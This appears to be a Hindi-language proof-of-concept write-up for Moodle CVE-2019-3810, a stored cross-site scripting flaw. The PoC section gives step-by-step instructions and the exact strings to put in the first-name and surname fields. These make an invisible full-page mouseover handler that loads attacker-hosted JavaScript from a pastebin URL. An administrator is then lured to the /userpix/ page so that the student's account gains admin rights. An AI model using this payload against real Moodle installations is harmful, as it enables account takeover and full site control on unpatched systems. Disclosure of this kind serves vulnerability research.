Moodle CVE-2019-3810

Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC विशेषाधिकार वृद्धि (छात्र से प्रशासक) के लिए। यह उन पुराने बगों में से एक है जिसे मैंने एक शैक्षणिक संस्थान में पिछले पेंटेस्ट के दौरान खोजा था। यह उस समय प्रशासक पहुँच चुराने और केवल एक साधारण बग का उपयोग करके Moodle पर पूर्ण नियंत्रण प्राप्त करने के लिए पर्याप्त सफल रहा था।

हम git इतिहास से देख सकते हैं कि यह बग Moodle के पुराने संस्करणों (2003) से अस्तित्व में था और 2019 में ही पैच किया गया।

समयरेखा:

• दिसंबर 2018 - बग की Moodle को रिपोर्ट की गई
• जनवरी 2019 - पैच जारी किया गया
• अप्रैल 2021 - PoC का खुलासा

चेतावनी

केवल शैक्षणिक उद्देश्यों के लिए। इस शोषण का अवैध गतिविधियों के लिए उपयोग न करें। लेखक किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।

PoC

1. payload.js को pastebin या अन्य समान सेवा पर अपलोड करें। userid का मान अपनी आईडी से बदलें। मान लें कि URL https://pastebin.com/raw/xxxxxxxx है।
2. अपने छात्र खाते में लॉगिन करें।
3. प्रथम नाम को " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement पर सेट करें।
4. उपनाम को ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS') पर सेट करें।
5. प्रशासक से /userpix/ पृष्ठ खोलने के लिए कहें या अपनी पोस्ट पर उस पृष्ठ का लिंक डालें और प्रतीक्षा करें।

यदि सफल होता है, तो आपका खाता प्रशासक के रूप में जोड़ दिया जाएगा।

प्रदर्शन वीडियो